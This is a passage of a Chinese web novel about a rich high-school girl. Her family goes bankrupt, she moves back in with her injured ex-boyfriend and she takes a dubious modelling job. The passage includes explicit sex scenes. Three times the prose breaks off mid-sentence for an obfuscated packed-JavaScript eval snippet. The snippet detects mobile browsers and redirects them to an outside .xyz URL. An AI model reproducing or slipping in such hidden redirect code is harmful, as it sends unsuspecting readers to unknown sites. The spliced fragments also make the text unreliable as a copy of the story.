《无人区玫瑰》 1. 黑云 * 程锁锈蓝牙耳机里放着特带劲的歌,骑着她140万的红色川崎机车与车友们抬手作别。南城市中心的黑夜如昼,金色的水一般一股脑往后面流。 她俯下身,这台机械猛兽发出轰鸣,而在她前面甩她一脸尾气的就是她那和耳机里的歌一样带劲的男朋友——陆巡。 18岁那一年,程锁锈和陆巡觉得他们拥有全世界。 两张建模一般的脸,永远花不完的钱,只是在学校随便拍一张合照、上传到抖音就有十万多赞,但他们懒得搞什么营销,走接广告带货那一条烂路,有的人会说“谁会嫌钱少”,但他们每天都在发愁怎么挥霍才能让无限的钱在有限的人生中发挥出最大作用。 就是这么一个平平无奇的夜晚,路过南城著名的亿级小区棠海湾,一交警在远处示意他们停住。 陆巡率先在前面停了车,摘下头盔,凌乱的稍长的黑发甩了甩,交警在看到那张漫画似的脸后却露出不屑的神色,肯定料想是哪个不自量力的网红,将这一幕尽收眼底的程锁锈这么分析着,交警说:“熄火。” 程锁锈在陆巡身边停了车,陆巡照做。 “驾驶证,行驶证。” 陆巡拿出来,程锁锈摘了头盔也拿出自己的。 交警看了她一眼,笑了:“网红啊?” 交警一边查看两人的证件一边说:“你们这样在南城骑车的网红多了去了,但是这儿不能骑车。” “为什么?”陆巡面无表情地问。 交警指了指身后那璀璨辉煌的建筑群,面上得意:“知不知道这是哪儿?” ——棠海湾,南城赫赫有名的不少创一代的住所。 “没听说过之前有一群在这里玩车的被查了?还各个都是富二代,那有什么用?那些车都是改装过的,不合法,全部给拉走了,还有个牌子是一串‘9’呢!”摩托车牌正是一串“9”的程锁锈双手捂住脸打了个喷嚏,交警继续说,“之后这里就被安装上减速带了,哦对,你们两个改排气了没有?” “没有。”陆巡有些烦躁地揉了揉鼻子,“经过也不行么?” “经过?呵呵。”交警冷笑几声,“你这小孩,怎么听不懂话呢?” “哪条法律规定这儿不能过?” “响车就不能过,扰民。” “现在晚上七点钟,而且我们没有改装,你觉得响么?” 交警背过手去,不理他,却也挡在他们的车前不放行。 “说白了,权大压死人呗。”程锁锈细细柔柔地说,脸上也笑着。她那双眼,要不是交警不耳聋,恐怕真以为她在对着他暗送秋波。 “真懒得废话了。”陆巡看了眼程锁锈,“算了,我打给我哪个叔叔好了。” 程锁锈一直认为,她和陆巡两人有着对视一眼就能够明白对方心思的默契。 那一眼,陆巡多半是想让她找她爸的,但想了想,还是不麻烦那么亲的人了,于是只好找他在南城的某位叔叔——哪位呢?太多了,随便挑一位好了。可惜他爸是港城人,在这里不好使,仿佛拿王炸出来打一对三,三都没见过这阵势,问:你是什么牌? 电话通了,他直接给交警。 三秒钟后,他和程锁锈骑着机车一前一后地飞驰过棠海湾前路。 也是十分钟后,在一个路口,一辆之后被程锁锈骂过无数遍“傻逼”的车根本没注意到直行车辆,飞速右转,汇入主路,哪怕那时她和陆巡正悠悠地骑在回家的路上,车速不快,可那辆右转的车速度极快,陆巡被连人带车地撞飞到十几米外,程锁锈耳机里的音乐鼓点在她大脑中自动消音,化为一声很长很长的“哔——” 之后的很多很多年,她都记得那个瞬间。 她人和整个世界空白到一起去,刹停车,双脚着地后直接无力地瘫倒,又从地上爬起,颤颤巍巍地走向陆巡。 她一直都没有摘头盔,仿佛隔着那层镜片看到的就不是真实的,她就不会那么害怕了。 18岁那一年的三月,曾被以为握在手心里的世界,又对她和陆巡开了个玩笑。 * 八月末的三亚简直能把人晒成干儿。 在室内倒还舒服点,程锁锈在CDF国际免税城里给她妈蒋涟打电话,想说自己要开始扫包了,用不用给她带回点什么,可一连打了三个电话都没人接。 她纳闷地在原地转了几圈。 这里的地砖光可鉴人,倒映着上层建筑,折射出晶莹的微光。她微眯着眼盯向不远处的赖圣怡,她们都是南城国际的学生,这次搭个伴来三亚玩,但若说关系的话,其实学校里的人的关系都挺微妙的。 因为能进南城国际的学生都不是善茬,各个代表着各自的家庭背景,这种情况下就不可能有什么纯粹的交情,很多玩得好的人基本都是因为两家关系好,其余都是泛泛之交,程锁锈很有自知之明,她和赖圣怡就是后者。 “不接吗?”赖圣怡看着走过来的她。 赖圣怡这个夏天刚剪了齐下巴的短发,她头发也薄,脸也瘦,化了浓妆很漂亮干练的一女生,程锁锈点点头:“算了。” “阿姨可能是有事吧,太不巧了,说不定一会儿就打回来了。” “没事,我们先买。” 赖圣怡笑眯眯地挽上程锁锈手臂,虽然她们打心底里没这么亲密,可她们各个逢场作戏的水平一流。 暑假末尾的三亚免税店人满为患,那些熟悉LOGO的大牌店门口排出了夸张的蛇形长队,好像里面的东西都不要钱。而两人每到一处都直接绕开长队,有专人迎接,进去挑挑选选,但程锁锈在第一家店里刷卡时就卡了壳——“卡停用了。” 经理抱歉地笑眯眯说。 没人在心里质疑程锁锈任何,因为她在这些店里的累计消费能在南城买几套房。 程锁锈不动声色地从钱包里抽出另一张卡。 “也停了。” “……” 气氛就是在这时有些微妙的。 又一张银行卡从旁边递出,同时闯入视线的还有赖圣怡那夸张的红色长指甲:“先刷我的啦,然后把我买的也一并结了吧。” “好。”经理接过,干脆利落地刷了,消费二十五万多,店员们忙忙活活地打包去了。 “真的是,锈锈,你是和家里吵架了吗,这么突然?”赖圣怡抱着手臂,懒洋洋地和程锁锈在一旁侃天,“前两天不还好好的?” “谁知道我又哪儿惹着他们了?”程锁锈演技一流,毫不在意地将落到身前的一缕长发拨到后面,满脸厌世。 其实她根本就和自己的父母没多深纠葛,爱也好,恨也罢,更别说吵架闹矛盾了,不可能的事。 他们之间的来往就是父母塞满她钱包的卡,还有里面永远会不停涨到很高的数字,好像她在人生这款游戏里开了金币外挂。 隐隐的不安就是从这些卡被停用开始的。 但她不能露怯,否则赖圣怡一定十倍百倍夸张地说出去,她们在学校里都算数一数二的人物了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15717621|173790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,总之这趟免税店之行她划了赖圣怡一百多万。 赖圣怡表面笑嘻嘻,但程锁锈知道她在心里痛骂。 回南城之后程锁锈更是觉得天塌了。 联系不上家里的司机,所幸赖圣怡先被她家司机开保姆车接走了。两人笑靥如花地作别,然后程锁锈打了个滴滴,计程车驶出停车场后她才知道外面正暴雨琳琳。 时值傍晚,却已然暗无天日,她说出目的地时司机不着痕迹地从车前后视镜瞥了她一眼,心想:现在的富人都挺低调哈,从机场回家还打车呢,大包小包奢侈品全塞在他后备箱里了,都能买他好几辆车了。 程锁锈看向车窗外,并不言语。 瓢泼的雨直接模糊了车窗,上面全是深灰色斜布的水痕,随车向前跑而向后滚去,除非窗外有红绿灯或金色的光,它们就会在这样的水阵中破出朵光斑。 程锁锈下了车,幸而包里揣着把伞,好像还是买什么东西赠的,撑开,进了半山的小区,却在自家别墅门口愣住了。 她这一辈子顺风顺水,连和陆巡分手时都十分潇洒,鲜少有过这么失态的时候。 可那大门上“南城中级人民法院”的封条还是让她绷不住了。 先给她老爸程滕华打电话,停机,OK真是牛逼,她心里咕哝着又给蒋涟打电话,和在三亚一样的情况,通了,但不接。 此时她下半身已然被雨淋透,在这种雨势中撑伞根本不管用的。 她转过身,在这黑云压城城欲摧的空茫中笑出了声,回应她的只有一记滚雷,“哗——”的一阵,雨更大,所以她现在是个突然无家可归、无人可要,又莫名其妙背了一百多万元负债的高中生了是吗? 哦不,把买的那些包再卖了勉强能还债。 但一手包经过了她手,必然要打个折扣,图什么? 她怎么突然就这么狼狈了? 莫名其妙,真莫名其妙。 看了看微信支付宝里的余额,足够她住酒店继续奢靡一段时间,可她怎么能保证她家眼下的这个情况是一时的? 那别墅上的封条可是中级人民法院的,中级欸。 原地转了几圈,她最终还是点开通讯录,拨通了那个102天没有联系的电话:“陆陆。” 那边传来她曾经男人一声低低的笑:“嗯?” * 一小时后,程锁锈从陆巡所住大平层的浴室里出来,带出一阵温暖湿润的空气。 她长发披散,因为濡湿而卷曲,身上不过用浴巾堪堪围住,光着脚,白皙的肌肤与香艳的身材一览无余。 她站在陆巡面前,自上而下地睨着他,还是不太习惯他坐轮椅的样子:“这么严重?” “嗯……” 眼前的男人还是那么迷人,港式背头,就是要这样露出额头才能凸显他那张脸凛冽逼人的帅气,不像之前那段骑车的日子,每次一摘头盔头发都乱糟糟的,像街头的落魄小狗。 他穿一身简单宽松的冷灰色长袖衫——这大平层里24小时开中.央空调,薄薄的衣料搭在他匀称的肩臂及前胸肌肉上,程锁锈没忍住多看了几眼,心里忽然莫名地涌起股奇异的兴奋。 身上的浴巾倏然落地。 陆巡眉毛一挑:“你干什么?” 心里那股兴奋劲在脸上呈现出绯红:“陆老师。” 轮椅上的人眉毛挑第二次。 程锁锈从没有这么叫过他。 程锁锈很虔诚地说:“我想试试你有没有退步。” 2. 下马威 两人目光交锋着,眼神里内容变幻莫测。 上一秒程锁锈还在想,不太习惯这样自上而下地盯着陆巡看,下一秒陆巡就站起身来,还那么顺利地走了几步到她身前半米远。 又比她高出一头了。 数月不见的突然靠近让程锁锈一刹那窒息,又倒吸口气,她下意识看向陆巡那条受伤的腿,可惜隔着黑色的休闲长裤什么也看不见,她还记得那伤口鲜血淋漓时的样子…… 陆巡2秒完成了向上一掀脱掉上衣的动作。 逼程锁锈目光正回。 她眼里已然没有了情.欲,而是警惕和戒备,一连向后又退了几步。 陆巡将衣服往地上一丢,怀中春色尽显,一副任她欣赏的大方模样,也仿佛在炫耀:不见的这段时间里我确实在认真健身哦。 他嘴角还弯着笑,并且继续朝她走来,走到面前了,还逼着她不得不随他后退,直到快靠到走廊拐角的墙上时退无可退。 陆巡张开双臂。 程锁锈愣了愣,也笑了,了然他这个动作不是拥抱,食指顺他胸前摸下去,勾开他黑色休闲裤的裤带。 陆巡后来的那几步让她了然,他那条左腿并没有恢复如初,走路时还带点跛,只是不走快了根本看不出来。 仿佛是为他们的依旧默契而感到欣慰,陆巡也不和她磨蹭了,双手绕到她身后,直接将她整个人抱起,将她毫无缝隙地夹在自己与墙壁之间,程锁锈艰难地发出一声“欸……” 算了,一切都那么熟悉。 熟悉的节奏,熟悉的起伏,熟悉的作用在她身上的侵略性,却又在取悦着她,她干脆享受。 只是趴在沙发的侧扶手上,脸不断磨蹭着布料,看到电视柜上自己曾送给陆巡的摆件没有了,于是骂道:“没良心的东西。” “你说什么?”身后的人问。 重重的一下,“我说,”她从牙缝里往外挤字,“没良心的东西。” 两小时后,两个人重新洗了澡,心平气和地坐在沙发上,陆巡让程锁锈要了赖圣怡的银行卡号,发给他秘书,让他转过去一百五十万并让程锁锈对赖圣怡说:不用找了。然后问她:“有没有良心?” 程锁锈点头如小鸡啄米。 “我退步了没?” 程锁锈习惯性要阿谀奉承着继续点头,点了两下反应过来了,摇头如拨浪鼓。 陆巡舒坦了,靠在沙发上,找影片,身旁的人忽然茫然地看着他问:“我家里到底发生了什么事?” 他迟疑地扭过头来:“程锁锈,你是不是有病?” “你才有病。” “你不知道你家里怎么了,你到你前男友家来骗炮?” 程锁锈看他的眼里充满了问号。 陆巡继续浏览影片目录:“说白了,就是你爸经营不善破产,没脸在南城待,移居国外了,至于你家那些产业,全部被查封用来还债,所以你爸不管你了,那你妈呢?” “陆巡我怎么老觉得你在骂我?” “你妈也不管你了吗?” 程锁锈向后撩起一股头发,低头拨电话,第三次向蒋涟发出电话轰炸,又是长长的一阵毫无意义的等待音,每次的最后都响起冰冷的机器女声播报:“您拨打的电话暂时无人接听,请稍后再拨……” 第四次拨时,她已经打心底放弃了,只是将手机丢在一旁,和陆巡一起看电影的开头,但两人还能听见从手机里传出的“嘟——嘟——” 声音突然消失,变成一片茫茫的空白,接通了。 程锁锈看了眼手机,刚要拿起来,那边传来小孩子特别稚气的一声:“喂——” “是,锈锈姐姐吗?” 程锁锈直接挂了电话。 她抱起手臂,和陆巡一起看电影,头歪向另一边,陆巡觉得好笑地看她一眼,他倒是为数不多知道她家秘密的人。 程锁锈有个弟弟,不姓程,也不姓蒋,因为那是她妈妈和另一个男人生的。那男人在南城身份一般,也就没在圈里搅起什么水花,何况程锁锈也不知道他爸在外面有多少个私生子,说不定出国就是去和某个女人及私生子团圆了,她父母只是一直维持着表面关系罢了。 但谁家没点复杂的故事呢,陆巡他爸是港城大佬,他说白了就是私生子。 “肯定是和那个男人住到一起了。”程锁锈无甚所谓地将手机丢到另一旁,“真厉害,她终于可以享受天伦之乐了。” “不过你爸妈当初看不起我,怎么现在还是老子收留你?” 程锁锈白了他一眼,正对上他似笑非笑的目光:“你妈妈不也看不起我?” “那这算扯平了是不是?” * 夜晚和陆巡躺在熟悉的大床上,陆巡靠床头而坐,处理他生意上的事,程锁锈背对他且隔出半米,吃干抹净后保持出的距离感非常没心没肺。 经历了这么多事,她只觉身心俱疲,裹着被子很快睡去了。 而她梦里重现陆巡车祸后接受治疗的时光,真实到她分不清自己到底是在做梦,还是在不由自主地回想。 她是第一个陪陆巡进医院的人,先去的是南城的医院,医生就大略看了一眼,直接下定论说太严重了可能要截肢。 他父亲陆启耀得知了这事,派人与这家医院联系,要求只做紧急处理不能手术,他儿子必须去港城做手术。 等待陆启耀安排私人医疗飞机抵达的三小时里,程锁锈在医院的走廊、陆巡的床边或救护车里不停地流泪。 她和陆巡在一起的半年里从未流过一滴泪,因为他们几乎没有矛盾。 陆巡是高二才来上学的,在学校里见到彼此的第一面他们就互相喜欢,那种命中注定天作之合的宿命感,她认定陆巡就是自己生命里的另一半,现在他飞来横祸,首先被南城的医院抛下一个冰冷的决断——做好心里准备,要截肢,她眼泪怎么都止不住往下流。 在太功利的环境里泡惯了,她以为这一刻她会崩溃,不能想象以后有一个残疾的男朋友该怎么办,可她很清楚那一刻不是这样的。 她只有心疼,对陆巡的心疼。 陆启耀安排的团队到了,他们要以最快的速度送陆巡去港城,一群人动作迅速有条不紊,但程锁锈在这种境况里像是个不相干的人,陆巡用英语和那些人说:“这是我女朋友,她和我一起走。” 她就一同登机了。 陆巡抵港后立刻完成手术,最终的恢复结果未卜,但至少不用截肢了,之后他被安顿在近医院的一套豪宅里。 他母亲陈襄华似乎不愿再涉足港城,姗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15717622|173790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姗来迟,而她给程锁锈的第一个下马威就是,命她把房间里的花换成素的。 “让Lauten去。”陆巡说。 那是这房里比较管事儿的女佣。 “不用。”程锁锈干脆利落地起身,确实将这事交代给屋外候着的Lauten,而自己出门逛街去,晚上带着大包小包的护肤品回来,她这几天都没顾得上自己。 桌边金丝套白瓷的细长花瓶里插着带有露水的鲜百合,陈襄华早走了,她阴阳怪气地对陆巡说:“颜色素雅的花确实比较顺眼哈,阿姨的眼光真不错。” 陆巡道:“我说让Lauren去买的时候你不吭声不就行了?” “没事啊,我就是叫她去的,她去一趟要不了多久,她回来换花的时候你妈不也在吗?” “这不一样。” “哪儿不一样?” “要是我说话你不说话,我妈以后就不会再叫你做事,但你这样她就上头了。” “那又怎样?你看不出来吗?”程锁锈也是个脾气相当暴躁的主,“她就差把‘你这个拜金女,趁我儿子出事了在这寸步不离的,不就是为了图我家财产吗’写脸上了。” 陆巡却没心没肺地笑了。 程锁锈知道,陈襄华不在乎她家在南城做什么,但知道她是从南城来的,哪怕陈襄华自己也是南城人,但她给陆启耀生了个儿子,短暂地受过宠,她既讨厌她不能真正融入的港城上流圈,又对南城抱有了和那些人一样看不起的傲慢。 最让程锁锈受不了的是扈家邑和扈嘉怡来看陆巡时。 这两兄妹也是南城国际里的风云人物,扈家邑是陆巡的好哥们之一,而那和他差两岁、比他小一届的妹妹几乎与他寸步不离,大家一起玩的时候叫名字总分不清到底在叫这兄妹里的谁,所以干脆直呼扈家邑大名,叫他妹是“小怡”。 但有时候赖圣怡也在,叫“小怡”又不知道是在叫她两中的谁,可怜的赖圣怡于是喜提新绰号为“大圣”。 所以程锁锈和赖圣怡都看扈嘉怡挺烦,而程锁锈的烦是因为扈嘉怡这孩子喜欢陆巡却藏不住心事。 那双无知的大眼睛,成天滴溜溜地钉陆巡身上,谁都能看出来她在想什么。 戏都演不好就太废物了,还招人膈应。 而就是当着这对兄妹的面,陈襄华直接跟程锁锈说:“锈锈,去给客人倒两杯茶来。” 这会儿程锁锈也不演了,不可思议地看着她,陆巡和扈家邑说:“去门外叫Lauten来倒茶。” 后来扈嘉怡看程锁锈的眼神都非常精彩,带着一股终于找到她弱点的幸灾乐祸,还带点怜悯。 晚上她把气撒在陆巡身上,用幽幽的目光看着他,问他:“你可不可以……?” 陆巡当然懂那目光的含义,皱着眉,却又是笑着的,她也笑了,完成了一系列复杂的准备工作,在不动他那条伤腿的前提下跨到他身上,双手撑在他腰部两侧,轻轻地仰头叹息,她也是在当晚离开的港城。 她用这样的方式让他念念不忘,又干脆利落地和他说了分手。 * 早晨八点半,程锁锈听见这位前男友叫她的声音:“起床,该上学了。” 她还沉浸在情绪里,烦躁地一把打开他晃她的手:“滚。” 3. 计划 一个字脱口而出,意识在后面追。 可迷蒙地睁开双眼后,程锁锈满脑子都是港城最后那情意迷乱的夜晚,她转身幽幽地看着正目视她的陆巡。 那个最后的夜晚,在昏暗无光的房间里,周围是古老典雅的欧式陈设的暗影。他们得压着声儿,不让在门外守夜的女佣听到,呼吸就变得格外压抑而急促,她能闻到屋内地毯绒毛缝隙中时光堆积出的温暖的气味,还有陆巡纱布下伤口的药味儿与血腥气。 但现在不一样了。 现在陆巡的腿好了,他们也不必再避谁。 本来一次理智的叫醒不知怎么就变成了回忆末尾的复刻,可陆巡会曲起腿,会用双手擒住她的腰肢,会将主动权夺回然后看她花枝乱颤,好好一早晨的气氛就变得这么不可言说,一如程锁锈从浴室里出来后氤氲进卧室的空气。 “我不会再去学校了。”她以告知的口吻,“我不会再去的理由和你一样。” 因为丢人。 她是因为家里破产了丢人,陆巡是因为腿残了丢人。 真是大难临头各自飞,各自飞了之后依旧大难临头啊。 “那你以后准备干什么呢?”陆巡问,并指了指自己手机,表示自己正在和别人通话,程锁锈脸一红,陆巡移开堵在通话口的手指,继续以地道的英文和人家约定好一场上午9:00的公司会议,让自己一位秘书负责与对方公司联络跟进。 他重新看向程锁锈的眼神很明显,意思是他有事干,而她没有:“要么你专心去学表演。” “学表演。”程锁锈重复这三个字,“我想想吧。” 她出门了,但显然不是去学校,而是去散心。 程锁锈一走,陆巡将保洁、厨师、助理、秘书通通叫了来,各司其职,他自己也坐进书房里该干什么干什么了。 而面对电脑屏幕,那些白底黑字的画面显然不如早上的演绎更活色生香,与他们在港城的最后一晚帧帧相对,他想起当初他和程锁锈分手时。 那晚程锁锈前脚一走,他还不知道她是离港了,第二天陈襄华来了他问她:“妈,你是不是对我找的女朋友有什么意见?” 这么直白的询问反而让陈襄华心虚:“我能有什么意见?” 陆巡是陆启耀第二个特别像他的儿子,第一个特别像的儿子是原配的,前些年意外去世了,去世时三十多岁。 陆启耀雷霆手段,必要时甚至到了一种对亲人冷漠无情的程度,铲除异己时哪怕是骨肉至亲也不在乎,陈襄华在港城时得知了一些他们家族的秘辛,之后就很怵他,所以有时从陆巡面庞上看到三分像陆启耀的认真与严肃,她不自觉发愣。 “那你何必那么执着于在她的面前立威呢?”陆巡有些无奈,语气软了些,“人家家里也不缺什么,在这儿是真心诚意地照顾我。” 陈襄华不说话了。 没多久,陆巡收到程锁锈短信,给陈襄华看。 ——【我回南城了,然后我爸妈找我谈了话,他们很重视这件事,问我为什么这段时间没有去上学,我说了事情的原委,他们的看法很大,以后坚决不让我骑车了,我本来也不打算再骑。不知道阿姨现在在不在你身边?代我向阿姨道个别吧,我再向你道个歉,我们分手了。】 “看,你儿媳妇跑了。”他甚至是以幸灾乐祸的语气说。 其实他和程锁锈都清楚,这条短信并不意味着程锁锈真的要和他分手。 程锁锈不过是同陈襄华置气,在她那儿找回自家的脸面与尊严,陆巡也知道她爸妈和她什么关系,找她谈话?怎么可能,顶多是问她一句为什么这段时间没有去上学。 如果他之后给她打个电话就能和好。 但他没有再和程锁锈联系。 那时候两个人都年少轻狂,一个已经为之付出了代价,而另一个仍然坚信,失去任何人自己都能够过得好,程锁锈便默认他们分手了。 此时在南城的平层,陆巡悠悠地走到窗边,唤起了智能语音管家,覆盖一整面落地窗的薄纱在他面前缓缓向两侧退开。 窗外的江边高楼林立,他在港城时,每在窗边就很怀念这样的景色,因为这样的景色让他感觉活着。 程锁锈给他发短信的那天中午,他坐着轮椅,在那宅子的阳台看窗外很寂寞无趣的山野,主治医生带着浓浓的港城口音在他身后和他说:“我们必须得告知您目前的治疗结果,您的腿不可能恢复如初,但我们受陆老之托,一定会尽力让它恢复到最好。” 看着那样铺天盖地的翠绿,他却感觉像是死了。 * 程锁锈漫无目的地溜达在大街上。 陆巡问她要不要去学表演,这话一遍一遍地在她脑中重复。 说白了,她这人没什么爱好,什么事都能做挺好。学习虽然不能像陆巡次次和扈家邑争第一,也能名列前游,陆巡说想骑机车时她有点抵触,但很快就考出了证,又在社交媒体上凹了波机车女人设,热度空前绝后。但因为来骚扰的机车男太多,她后来只发和陆巡的合照。 进演艺圈是她为数不多比较想做的事,一来是因为:她知道自己能最快吃上饭、吃好饭的办法就是靠脸,而且她特别欣赏自己被定格下来的美貌;二来是因为:她花钱大手大脚,挣钱当然也不能胃口小;三来就是……她家曾经有足够的资本为她撑腰。 跨进那圈子实在是很难离开背景。 她爸之前给她找了位表演老师,据说平常指导的都是一二线明星,所以价格可想而知,一课一付,按分钟收钱,这些陆巡都知道。 问题是他什么意思? 如果她说“好”,那么陆巡就要给她支付课费了吗? 看样子是。 可他们俩现在是什么关系? 在咖啡店坐下来,程锁锈冥思苦想,大不了她先自己搞钱,找个次一点的表演课上着。 刷了会儿手机,她起身,循手机上的信息打车到目的地,是一座占据了一层写字楼的公司,看起来不错,她和前台说:“你好,我是来面试的。” “噢……是程小姐吗?”前台看着她有点懵。 见过形形色色的人,眼前这位哪是来应聘模特的,气质简直像富二代体验生活。 而且这长相,她为什么不自己单干?哪怕是在网上随便拍拍视频也能火吧? 程锁锈有些不解地上下打量她:“怎么了?” “哦,没事……请随我来。” 和面试负责人面对面坐下,对方四十岁左右的年龄,浓妆艳抹,虽然和赖圣怡发型相似,可任何感觉都差了十万八千里。 尽管对方从头到脚的一切都明显经过了精心设计,试图凹出职业女强人的犀利形象,可落在程锁锈眼里就是有一股说不出的廉价,对方反而被她的这番审视给弄得有点愣。 女人不着痕迹地看了看程锁锈这身行头,似乎了然了什么,重拾回自信:“你好,他们都叫我‘路姐’,你也可以这么叫我,那么我们开始吧?先来说一说你的情况?” “我?”程锁锈想了想,简单地介绍过,“所以我还在上学,时间少,就是想找个兼职,挣些钱。” “我看你们在求职平台上介绍说,你们这里有很多好资源,什么世界展览,高端车展,市运动会上当礼仪小姐?呃,其 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15717623|173790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他例如广告杂志方面的拍摄我都不想做,就对类似的活动感兴趣,另外想问一下,你们在网上说的薪酬保真吗?” 路芸愣了愣:“哦,当然!但以你的条件薪酬可以更丰厚!” 她目光又对程锁锈上下一扫。 “也就是说,程小姐想以我们公司为媒介,做一些线下的兼职是不是?”路芸笑眯眯地拉程锁锈走出办公室,“明白了,那留个联系方式,我们随时联系,你放心,我们公司里有很多做这样兼职的女生,看,那位就是我们公司的头牌。” “什么?” “啊,我是说销冠呀……这个东西怎么称呼来着?”路芸打着哈哈,经过的女生冲她灿烂一笑:“哈喽呀路姐,又在带新人吗?我回公司来拿点东西。” 路芸应付过去,对程锁锈说:“漂亮吧?我们公司合作的很多大型活动都是她在中心位,那些光唰唰一打,你要是抗住喽全场谁不看你呀?” 又放悄声:“我看你条件比她优越太多,前途无量啊。” 明显的糖衣炮弹,程锁锈对这话不甚在意。 再说了,她不接拍摄就是不想过分地抛头露面,所以对这种出风头的事没兴趣。 她感兴趣的是:刚才那女生经过得很快,她没怎么看清,但其一身与自己不相上下的LOGO倒是看清了,她想,都混到头牌,啊不,“销冠”了(虽然这词听着也怪怪的)就没必要再穿假货吧?看来这兼职做好了确实收入可观。 和路姐谈妥,因为是兼职也不用签约,程锁锈离开公司回到家——陆巡的家。没想到赚钱的开头这么顺利,她和陆巡宣布:“我明天就去上学。” 陆巡在床上看着平板,抽出一秒钟的眼神给她:“哦好。” “至于你给我的学表演的建议,”她挺认真说,“我会好好考虑,然后做好计划。” 因为家里破产,这条路就变得十分渺茫,充满各种未知,她不能肆无忌惮地将所有希望都投在上面。只能说靠自己努力获得收入,找寻合适的表演老师先试试,顺其自然,至少目前的进展不错,除了明天去学校的事让她充满压力,学校里的人肯定都知道了她家破产的消息。 她堂堂风光无两的程锁锈也会有这么一天。 正在她思索之际,陆巡似乎看出她并没有将他这条资源给纳入计划,饶有趣味地看向她:“哦?那对你来说,我现在是什么?” “炮友。”程锁锈还记得他说她来骗炮的话。 她死记仇,说得一本正经。 看陆巡脸色一变,才改了口:“好吧,是前男友。” * 第二天程锁锈叼着陆巡家厨师烤的面包片下楼,这是她之前住这儿就有的习惯,起不来,就算陆巡起了她也不起,一定要在最后几分钟审视桌上的丰盛早餐,挑面包水果之类的拿上就走。 自她昨晚回答了陆巡“我现在是什么”的问题后,陆巡面色就很不好,她知道他想听什么,可她在陈述事实,他就是她的前男友。 难道他想让她巴结他说是“男朋友”吗? 然后就意味着他们和好了吗? 算了吧,之前在一起时他们两不会这么拧巴,可现在他们两似乎都挺难,各有各的难,单论家庭背景就是一条不可逾越的鸿沟,如同南城国际中学的围墙,把不同阶层的人给分隔开,他两现在就算和好了也是表面关系,前途漫漫。 她走下电梯,脚步一顿,陆巡司机开的巴菲特S商务车正敞开着车门在等待。 她咬面包的下一口差点咬破嘴唇,忽然改变了心里的主意:如果陆巡再问一遍与昨晚相同的问题,那么她会改口为“老公”。 4. 上道 由俭入奢易,由奢入俭难。 当她成为了被资本所壁垒出去的那部分人后,才知道原先自己所拥有的一切是多么难能可贵。 她正在商务车上畅想未来,却不得不步入学校的大门。毫不夸张来讲,几乎所有人都在用好奇的目光打量她,这时她就特希望他们能忘记她暑假前在学校的状态:用一个英文词语形容那就是“queenbee”,女王蜂,那时全校的风云人物都围着她和陆巡转。 后来陆巡不上学了,他们依旧围她转。 现在她一个人走路,一个人吃饭,遇到赖圣怡这样的勉强打一个招呼。 扈嘉怡更是在她那群小姐妹的簇拥下贼眉鼠眼地看她。 中午一个人吃饭时,她收到路姐的微信语音消息:“嘿我的宝贝,上回忘通知你了,这周末南城就有一场非常高端的国际车展,我们和主办方有合作渠道,可以往参展的品牌里塞车模。” “明晚主办方老板亲自面试挑人,地址我发你,但也有其他公司的模特竞选,大家各凭本事,宝贝你看看要不要去?去的话我给你报个名。” “哦对了,你要不要起个花名?咱干这一行的都不用真名,我看宝贝你还在上学,也挺有顾虑。” 程锁锈想了想,打出自己想好的花名:鹿洵。 “好的宝宝,这个名字真好听!” “很荣幸你能在我手底下出道,你一定会在这条路上大有可为的,姐这就给你报上名!” 程锁锈盯着手机,尤其是自己起的花名,脸上渐渐浮出邪恶的笑来。 附近在吃饭的人看到这一幕蛐蛐:“程锁锈她是不是家里破产精神失常了?为什么一个人在那儿盯着手机发笑,也不吃饭?” “不知道,好诡异……” “算了,同情一下吧,先是分手,又是破产,突然从那么光鲜亮丽的人生跌到谷底,任谁都会受不了的,她还能笑出来,也挺不容易。” “你说她家破产是不是陆巡报复的?” “不会吧……但也说不准。” 一群人嘀嘀咕咕地端盘子走了,他们唯独对陆巡家不太了解,因为他爸的根系都在港城。 * 周三下午,程锁锈在学校给陆巡发送微信好友申请。 直接加上并弹出【你已添加了Luk,现在可以开始聊天了】,这代表她删除陆巡的微信后,陆巡并没有删除她。 这不免让她有些尴尬。 陆巡秒发:【?】 程锁锈挠挠下巴,琢磨这个问号的含义。 或许是质问她为什么同居了这么几天才加他微信,另一半含义则是问她有什么事,聪明的程锁锈当然直接理解为后者:【我晚上有点私事,就不麻烦司机来接我了?】 她其实不太清楚现在自己做什么事是否要同陆巡报备,但涉及司机放学来不来接她,她便顺水推舟一说。 担心陆巡盘问或不同意,但他说:【OK啊,正好我家今晚办party。】 【噢,那我需要到外面去住一晚么?】 【你要干什么?】 【噢,我明白了。】 